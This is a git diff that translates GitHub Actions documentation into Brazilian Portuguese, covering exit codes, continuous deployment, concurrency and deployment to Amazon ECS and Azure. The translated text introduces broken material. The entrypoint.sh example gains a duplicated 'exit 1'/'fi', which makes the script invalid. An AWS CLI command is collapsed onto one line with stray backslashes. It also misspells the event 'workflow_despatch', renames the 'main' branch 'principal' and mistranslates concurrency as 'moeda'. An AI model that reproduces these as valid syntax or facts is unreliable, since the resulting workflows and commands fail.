 versions:
@@ -15,18 +15,18 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About exit codes
+## Sobre os códigos de saída
 
-{% data variables.product.prodname_dotcom %} uses the exit code to set the action's check run status, which can be `success` or `failure`.
+O {% data variables.product.prodname_dotcom %} usa o código de saída para definir o status de execução de verificação da ação, que pode ser `sucesso` ou `falha`.
 
-Exit status | Check run status | Description
-------------|------------------|------------
-`0` | `success` | The action completed successfully and other tasks that depends on it can begin.
-Nonzero value (any integer but 0)| `failure` | Any other exit code indicates the action failed. When an action fails, all concurrent actions are canceled and future actions are skipped. The check run and check suite both get a `failure` status.
+| Status de saída                                                  | Status de verificação de execução | Descrição                                                                                                                                                                                                                                  |
+| ---------------------------------------------------------------- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `0`                                                              | `success`                         | A ação foi concluída com êxito, outras tarefas que dependem dela podem começar.                                                                                                                                                            |
+| Valor diferente de zero (qualquer número inteiro que não seja 0) | `failure`                         | Qualquer outro código de saída indica falha na ação. Quando uma ação falha, todas as ações simultâneas são canceladas e as ações futuras são ignoradas. A execução de verificação e o conjunto de verificações ficam com status `failure`. |
 
-## Setting a failure exit code in a JavaScript action
+## Definir um código de saída de falha em uma ação JavaScript
 
-If you are creating a JavaScript action, you can use the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failure exit code. For example:
+Se estiver criando uma ação JavaScript, você poderá usar o pacote [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) do conjunto de ferramentas de ações para registrar em log uma mensagem e definir um código de saída de falha. Por exemplo:
 
 ```javascript
 try {
@@ -36,17 +36,19 @@ try {
 }
 ```
 
-For more information, see "[Creating a JavaScript action](/articles/creating-a-javascript-action)."
+Para obter mais informações, consulte "[Criar uma ação JavaScript](/articles/creating-a-javascript-action)".
 
-## Setting a failure exit code in a Docker container action
+## Definir um código de saída de falha em uma ação de contêiner do Docker
 
-If you are creating a Docker container action, you can set a failure exit code in your `entrypoint.sh` script. For example:
+Se estiver criando uma ação de contêiner do Docker, você poderá definir um código de saída de falha no seu script `entrypoint.sh`. Por exemplo:
 
 ```
 if <condition> ; then
   echo "Game over!"
   exit 1
+fi
+  exit 1
 fi
 ```
 
-For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+Para obter mais informações, consulte "[Criar uma ação de contêiner do Docker](/articles/creating-a-docker-container-action)".
diff --git a/translations/pt-BR/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/pt-BR/content/actions/deployment/about-deployments/about-continuous-deployment.md
index e941449aa8..3af75e7322 100644
--- a/translations/pt-BR/content/actions/deployment/about-deployments/about-continuous-deployment.md
+++ b/translations/pt-BR/content/actions/deployment/about-deployments/about-continuous-deployment.md
@@ -1,6 +1,6 @@
 ---
-title: About continuous deployment
-intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
+title: Sobre a implantação contínua
+intro: 'Você pode criar fluxos de trabalho personalizados de implantação contínua (CD) diretamente no repositório de {% data variables.product.prodname_dotcom %} com {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,45 +11,45 @@ redirect_from:
   - /actions/deployment/about-continuous-deployment
 topics:
   - CD
-shortTitle: About continuous deployment
+shortTitle: Sobre a implantação contínua
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About continuous deployment
+## Sobre a implantação contínua
 
-_Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment.
+_Implantação contínua_ (CD) é a prática de usar a automação para publicar e implantar atualizações de software. Como parte do processo típico do CD, o código é automaticamente criado e testado antes da implantação.
 
-Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see "[About continuous integration](/actions/guides/about-continuous-integration)".
+A implentação contínua é frequentemente acompanhada da integração contínua. Para obter mais informações sobre integração contínua, consulte "[Sobre integração contínua](/actions/guides/about-continuous-integration)".
 
-## About continuous deployment using {% data variables.product.prodname_actions %}
+## Sobre a implantação contínua que usa {% data variables.product.prodname_actions %}
 
-You can set up a {% data variables.product.prodname_actions %} workflow to deploy your software product. To verify that your product works as expected, your workflow can build the code in your repository and run your tests before deploying.
+É possível configurar um fluxo de trabalho de {% data variables.product.prodname_actions %} para implantar o produto do seu software. Para verificar se o produto funciona como esperado, seu fluxo de trabalho pode criar o código no repositório e executar seus testes antes da implantação.
 
-You can configure your CD workflow to run when a {% data variables.product.product_name %} event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Você pode configurar seu fluxo de trabalho do CD para ser executado quando ocorrer um evento de {% data variables.product.product_name %} (por exemplo, quando o novo código é enviado para o branch padrão do seu repositório), em um cronograma definido, manualmente ou quando ocorre um evento externo usando o webhook de envio do repositório. Para obter mais informações sobre quando seu fluxo de trabalho pode ser executado, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows)".
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. {% endif %}For more information about these features, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% endif %}
+{% data variables.product.prodname_actions %} fornece funcionalidades que dão mais controle sobre implantações. Por exemplo, você pode usar ambientes para exigir aprovação para um trabalho prosseguir, restringir quais branches podem acionar um fluxo de trabalho, ou limitar o acesso a segredos. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}Você pode usar a simultaneidade para limitar o pipeline do CD a um máximo de uma implantação em andamento e uma implantação pendente. {% endif %}para mais informações sobre essas funcionalidades, consulte "[Implantando com GitHub Actions](/actions/deployment/deploying-with-github-actions)" e "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment).{% endif %}
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
-## Using OpenID Connect to access cloud resources
+## Usando o OpenID Connect para acessar os recursos da nuvem
 
 {% data reusables.actions.about-oidc-short-overview %}
 
 {% endif %}
 
-## Starter workflows and third party actions
+## Fluxos de trabalho iniciais e ações de terceiros
 
 {% data reusables.actions.cd-templates-actions %}
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Further reading
+## Leia mais
 
-- [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)
-- [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %}
+- [Implantando com GitHub Actions](/actions/deployment/deploying-with-github-actions)
+- [Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
+- "[Gerenciando cobrança para {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %}
 
 {% endif %}
diff --git a/translations/pt-BR/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/pt-BR/content/actions/deployment/about-deployments/deploying-with-github-actions.md
index 9bea24d6f4..74573a4a22 100644
--- a/translations/pt-BR/content/actions/deployment/about-deployments/deploying-with-github-actions.md
+++ b/translations/pt-BR/content/actions/deployment/about-deployments/deploying-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying with GitHub Actions
-intro: Learn how to control deployments with features like environments and concurrency.
+title: Implantando com GitHub Actions
+intro: Aprenda a controlar imolantações com funcionalidades como ambientes e simultaneidade.
 versions:
   fpt: '*'
   ghes: '>=3.1'
@@ -11,35 +11,35 @@ redirect_from:
   - /actions/deployment/deploying-with-github-actions
 topics:
   - CD
-shortTitle: Deploy with GitHub Actions
+shortTitle: Implantar com GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-{% data variables.product.prodname_actions %} offers features that let you control deployments. You can:
+{% data variables.product.prodname_actions %} oferece funcionalidades que permitem que você controle implantações. Você pode:
 
-- Trigger workflows with a variety of events.
-- Configure environments to set rules before a job can proceed and to limit access to secrets.
-- Use concurrency to control the number of deployments running at a time.
+- Acionar fluxos de trabalho com uma série de eventos.
+- Configurar ambientes para definir regras antes que um trabalho possa prosseguir e limitar o acesso a segredos.
+- Usar a simultaneidade para controlar o número de implantações em execução por vês.
 
-For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)."
+Para obter mais informações sobre a implantação contínua, consulte "[Sobre a implantação contínua](/actions/deployment/about-continuous-deployment)".
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Você deve estar familiarizado com a sintaxe de {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-## Triggering your deployment
+## Acionando a sua implantação
 
-You can use a variety of events to trigger your deployment workflow. Some of the most common are: `pull_request`, `push`, and `workflow_dispatch`.
+Você pode usar uma série de eventos para acionar seu fluxo de trabalho de implantação. Alguns dos mais comuns são: `pull_request`, `push` e `workflow_despatch`.
 
-For example, a workflow with the following triggers runs whenever:
+Por exemplo, um fluxo de trabalho com os seguintes gatilhos é executado sempre que:
 
-- There is a push to the `main` branch.
-- A pull request targeting the `main` branch is opened, synchronized, or reopened.
-- Someone manually triggers it.
+- Há um push para o branch `principal`.
+- Um pull request direcionado ao branch `principal` está aberto, sincronizado ou reaberto.
+- Alguém a aciona manualmente.
 
 ```yaml
 on:
@@ -52,23 +52,23 @@ on:
   workflow_dispatch:
 ```
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Para obter mais informações, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows)".
 
-## Using environments
+## Usar ambientes
 
 {% data reusables.actions.about-environments %}
 
-## Using concurrency
+## Usando simultaneidade
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time.
+A moeda garante que apenas um único trabalho ou fluxo de trabalho que usa o mesmo grupo de concorrência seja executado de cada vez. Você pode usar a concorrência para que um ambiente tenha, no máximo, uma implantação em andamento e uma implantação pendente por vez.
 
 {% note %}
 
-**Note:** `concurrency` and `environment` are not connected. The concurrency value can be any string; it does not need to be an environment name. Additionally, if another workflow uses the same environment but does not specify concurrency, that workflow will not be subject to any concurrency rules.
+**Observação:** `simultaneidade` e `ambiente` não estão conectados. O valor da simultaneidade pode ser qualquer regra; não precisa ser o nome de um ambiente. Além disso, se outro fluxo de trabalho usar o mesmo ambiente, mas não especificar a equivalência, esse fluxo de trabalho não estará sujeito a nenhuma regra de simultaneidade.
 
 {% endnote %}
 
-For example, when the following workflow runs, it will be paused with the status `pending` if any job or workflow that uses the `production` concurrency group is in progress. It will also cancel any job or workflow that uses the `production` concurrency group and has the status `pending`. This means that there will be a maximum of one running and one pending job or workflow in that uses the `production` concurrency group.
+Por exemplo, quando o fluxo de trabalho a seguir é executado, ele será pausado com o status `pendente` se algum trabalho ou fluxo de trabalho que usa a simultaneidade de `produção` estiver em andamento. Ele também cancelará qualquer trabalho ou fluxo de trabalho que usar o grupo de simultaneidade de `produção` e tiver o status `pendente`. Isto significa que haverá o máximo de uma execução e um trabalho pendente ou fluxo de trabalho no qual usa o grupo de concorrência `de produção`.
 
 ```yaml
 name: Deployment
@@ -89,7 +89,7 @@ jobs:
         # ...deployment-specific steps
 ```
 
-You can also specify concurrency at the job level. This will allow other jobs in the workflow to proceed even if the concurrent job is `pending`.
+Você também pode especificar simultaneidade no nível do trabalho. Isso permitirá que outras tarefas no fluxo de trabalho prossigam mesmo se o trabalho simultâneo estará `pendente`.
 
 ```yaml
 name: Deployment
@@ -109,7 +109,7 @@ jobs:
         # ...deployment-specific steps
 ```
 
-You can also use `cancel-in-progress` to cancel any currently running job or workflow in the same concurrency group.
+Você também pode usar o `cancel-in-progress` para cancelar qualquer trabalho ou fluxo de trabalho atualmente em execução no mesmo grupo de concorrência.
 
 ```yaml
 name: Deployment
@@ -132,40 +132,40 @@ jobs:
         # ...deployment-specific steps
 ```
 
-## Viewing deployment history
+## Visualizar histórico de implantação
 
-When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+Quando um fluxo de trabalho de {% data variables.product.prodname_actions %} é implantado em um ambiente, o ambiente é exibido na página principal do repositório. Para obter mais informações sobre a visualização de implantações em ambientes, consulte "[Visualizando histórico de implantação](/developers/overview/viewing-deployment-history)".
 
-## Monitoring workflow runs
+## Monitoramento de fluxo de trabalho
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
+Cada execução de fluxo de trabalho gera um gráfico em tempo real que ilustra o progresso da execução. Você pode usar este gráfico para monitorar e depurar implantações. Para obter mais informações, "[Usando o gráfico de visualização](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)".
 
-You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+Você também pode visualizar os registros de cada execução do fluxo de trabalho e o histórico de execuções do fluxo de trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".
 
-## Tracking deployments through apps
+## Rastreando implantações por meio de aplicativos
 
 {% ifversion fpt or ghec %}
-If your personal account or organization on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} is integrated with Microsoft Teams or Slack, you can track deployments that use environments through Microsoft Teams or Slack. For example, you can receive notifications through the app when a deployment is pending approval, when a deployment is approved, or when the deployment status changes. For more information about integrating  Microsoft Teams or Slack, see "[GitHub extensions and integrations](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)."
+Se a sua conta pessoal ou organização em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} estiver integrada ao Microsoft Teams ou o Slack, você poderá acompanhar implantações que usam ambientes por meio do Microsoft Teams ou Slack. Por exemplo, você pode receber notificações por meio do aplicativo quando uma implantação estiver pendente de aprovação, quando uma implantação for aprovada, ou quando o status de implantação for alterado. Para obter mais informações sobre integração do Microsoft Teams ou Slack, consulte "[Extensões e integrações do GitHub](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)".
 {% endif %}
 
-You can also build an app that uses deployment and deployment status webhooks to track deployments. {% data reusables.actions.environment-deployment-event %} For more information, see "[Apps](/developers/apps)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
+Você também pode criar um aplicativo que usa webhooks de status de implantação e implantação para rastrear implantações. {% data reusables.actions.environment-deployment-event %} Para obter mais informações, consulte "[Apps](/developers/apps)" e "[Eventos e cargas do Webhook](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
 
 {% ifversion fpt or ghes or ghec %}
 
-## Choosing a runner
+## Escolhendo um corredor
 
-You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+Você pode executar seu fluxo de trabalho de implantação em executores hospedados em {% data variables.product.company_short %} ou em executores auto-hospedados. O tráfego dos executores hospedados em {% data variables.product.company_short %} pode vir de uma [ampla gama de endereços de rede](/rest/reference/meta#get-github-meta-information). Se você estiver fazendo a implantação em um ambiente interno e sua empresa restringir o tráfego externo em redes privadas, os fluxos de trabalho de {% data variables.product.prodname_actions %} em execução em executores hospedados em {% data variables.product.company_short %} podem não ser comunicados com seus serviços ou recursos internos. Para superar isso, você pode hospedar seus próprios executores. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" e "[Sobre executores hospedados no GitHub](/actions/using-github-hosted-runners/about-github-hosted-runners)."
 
 {% endif %}
 
-## Displaying a status badge
+## Exibindo um selo de status
 
-You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %}
+Você pode usar um selo de status para exibir o status do seu fluxo de trabalho de implantação. {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+Para obter mais informações, consulte "[Adicionando um selo de status do fluxo de trabalho](/actions/managing-workflow-runs/adding-a-workflow-status-badge)".
 
-## Next steps
+## Próximas etapas
 
-This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows.
+Este artigo mostrou as funcionalidades de {% data variables.product.prodname_actions %} que você pode adicionar aos seus fluxos de trabalho de implantação.
 
 {% data reusables.actions.cd-templates-actions %}
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
index a92d22c49c..e7c4597a2b 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Amazon Elastic Container Service
-intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows.
+title: Implantar no Amazon Elastic Container Service
+intro: Você pode fazer implantação no Amazon Elastic Container Service (ECS) como parte de fluxos de trabalho para implantação contínua (CD).
 redirect_from:
   - /actions/guides/deploying-to-amazon-elastic-container-service
   - /actions/deployment/deploying-to-amazon-elastic-container-service
@@ -14,55 +14,53 @@ topics:
   - CD
   - Containers
   - Amazon ECS
-shortTitle: Deploy to Amazon ECS
+shortTitle: Implantar no Amazon ECS
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch.
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar uma aplicação de contêiner, fazer push no [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/) e fazer a implementação em [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) quando houver um push para o branch `principal`.
 
-On every new push to `main` in your {% data variables.product.company_short %} repository, the {% data variables.product.prodname_actions %} workflow builds and pushes a new container image to Amazon ECR, and then deploys a new task definition to Amazon ECS.
+Em cada novo push para o `principal` no seu repositório de {% data variables.product.company_short %}, as compilações de fluxo de trabalho de {% data variables.product.prodname_actions %} e cria e faz push de uma nova imagem de contêiner para o Amazon ECR e, em seguida, implementa uma nova definição de tarefa para o Amazon ECS.
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and ["Configuring OpenID Connect in Amazon Web Services"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services).
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e ["Configurando o OpenID Connect no Amazon Web Services"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services).
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas a seguir para o Amazon ECR e ECS:
 
-1. Create an Amazon ECR repository to store your images.
+1. Crie um repositório Amazon ECR para armazenar suas imagens.
 
-   For example, using [the AWS CLI](https://aws.amazon.com/cli/):
+   Usando, por exemplo, [CLI AWS](https://aws.amazon.com/cli/):
 
    {% raw %}```bash{:copy}
-   aws ecr create-repository \
-       --repository-name MY_ECR_REPOSITORY \
-       --region MY_AWS_REGION
+   aws ecr create-repository \ --repository-name MY_ECR_REPOSITORY \ --region MY_AWS_REGION
    ```{% endraw %}
 
-   Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below.
+   Certifique-se de usar o mesmo nome de repositório do Amazon ECR (representado aqui por `MY_ECR_REPOSITORY`) para a variável `ECR_REPOSITORY` no fluxo de trabalho abaixo.
 
-   Ensure that you use the same AWS region value for the `AWS_REGION` (represented here by `MY_AWS_REGION`) variable in the workflow below.
+   Certifique-se de usar o mesmo valor de região do AWS para a variável `AWS_REGION` (representada aqui pela variável `MY_AWS_REGION`) no fluxo de trabalho abaixo.
 
-2. Create an Amazon ECS task definition, cluster, and service.
+2. Crie uma definição de tarefa e serviço do Amazon ECS.
 
-   For details, follow the [Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), or the [Getting started guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) in the Amazon ECS documentation.
+   Para obter informações, siga o [Assistente de introdução no console do Amazon ECS](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), ou o [Guia de introdução](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) na documentação do Amazon ECS.
 
-   Ensure that you note the names you set for the Amazon ECS service and cluster, and use them for the `ECS_SERVICE` and `ECS_CLUSTER` variables in the workflow below.
+   Certifique-se de anotar os nomes que você definiu para o serviço do Amazon ECS e do cluster e use-os para as variáveis `ECS_SERVICE` e `ECS_CLUSTER` no fluxo de trabalho abaixo.
 
-3. Store your Amazon ECS task definition as a JSON file in your {% data variables.product.company_short %} repository.
+3. Armazene sua definição de tarefa do Amazon ECS como um arquivo JSON no seu repositório de {% data variables.product.company_short %}.
 
-   The format of the file should be the same as the output generated by:
+   O formato do arquivo deve ser o mesmo que a saída gerada por:
 
    {% raw %}```bash{:copy}
    aws ecs register-task-definition --generate-cli-skeleton
@@ -70,25 +68,25 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 
    Ensure that you set the `ECS_TASK_DEFINITION` variable in the workflow below as the path to the JSON file.
 
-   Ensure that you set the `CONTAINER_NAME` variable in the workflow below as the container name in the `containerDefinitions` section of the task definition.
+   Certifique-se de definir a variável `CONTAINER_NAME` no fluxo de trabalho abaixo como o nome do contêiner na seção `containerDefinitions` da definição da tarefa.
 
-4. Create {% data variables.product.prodname_actions %} secrets named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to store the values for your Amazon IAM access key.
+4. Crie segredos de {% data variables.product.prodname_actions %} denominados `AWS_ACCESS_KEY_ID` e `AWS_SECRET_ACCESS_KEY` para armazenar os valores para sua chave de acesso ao Amazon IAM.
 
-   For more information on creating secrets for {% data variables.product.prodname_actions %}, see "[Encrypted secrets](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
+   Para obter mais informações sobre a criação de segredos para {% data variables.product.prodname_actions %}, consulte "[segredos criptografados](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
 
-   See the documentation for each action used below for the recommended IAM policies for the IAM user, and methods for handling the access key credentials.
+   Veja a documentação para cada ação usada abaixo para as políticas recomendadas de IAM para o usuário de IAM, bem como os métodos para lidar com as credenciais de acesso.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+5. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
 ## Creating the workflow
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Após concluir os pré-requisitos, você poderá prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build a container image and push it to Amazon ECR. It then updates the task definition with the new image ID, and deploys the task definition to Amazon ECS.
+O fluxo de trabalho a seguir demonstra como construir uma imagem de contêiner e enviá-lo para o Amazon ECR. Em seguida, ele atualiza a definição da tarefa com o novo ID de imagem e implanta a definição da tarefa no Amazon ECS.
 
-Ensure that you provide your own values for all the variables in the `env` key of the workflow.
+Certifique-se de fornecer seus próprios valores para todas as variáveis na chave `env` do fluxo de trabalho.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -163,14 +161,14 @@ jobs:
           wait-for-service-stability: true{% endraw %}
 ```
 
-## Additional resources
+## Recursos adicionais
 
-For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+Para o fluxo de trabalho inicial original, consulte [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
 
-For more information on the services used in these examples, see the following documentation:
+Para mais informações sobre os serviços utilizados nestes exemplos, veja a seguinte documentação:
 
-* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation.
-* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action.
-* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action.
-* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action.
-* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action.
+* "[Práticas recomendadas de segurança no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" na documentação da Amazon AWS.
+* Ação oficial de "[Configurar credenciais](https://github.com/aws-actions/configure-aws-credentials) do AWS.
+* Ação oficial de ["Login" do Amazon ECR](https://github.com/aws-actions/amazon-ecr-login) do AWS.
+* Ação oficial de [Definição de tarefa de renderização do Amazon ECS"](https://github.com/aws-actions/amazon-ecs-render-task-definition) do AWS.
+* Ação oficial de ["Definição de tarefa de implantação do Amazon ECS"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) do AWS.
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
index 8133adef88..c2ecba021b 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying Docker to Azure App Service
-intro: You can deploy a Docker container to Azure App Service as part of your continuous deployment (CD) workflows.
+title: Implementando o Docker no Azure App Service
+intro: Você pode implantar um contêiner Docker no Azure App Service como parte dos fluxos de trabalho de implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,29 +17,29 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e implantar um contêiner Docker no [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. Crie um aplicativo web.
 
-   For example, you can use the Azure CLI to create an Azure App Service web app:
+   Por exemplo, você pode usar a CLI do Azure para criar um aplicativo no Azure App Service Web:
 
    ```bash{:copy}
    az webapp create \
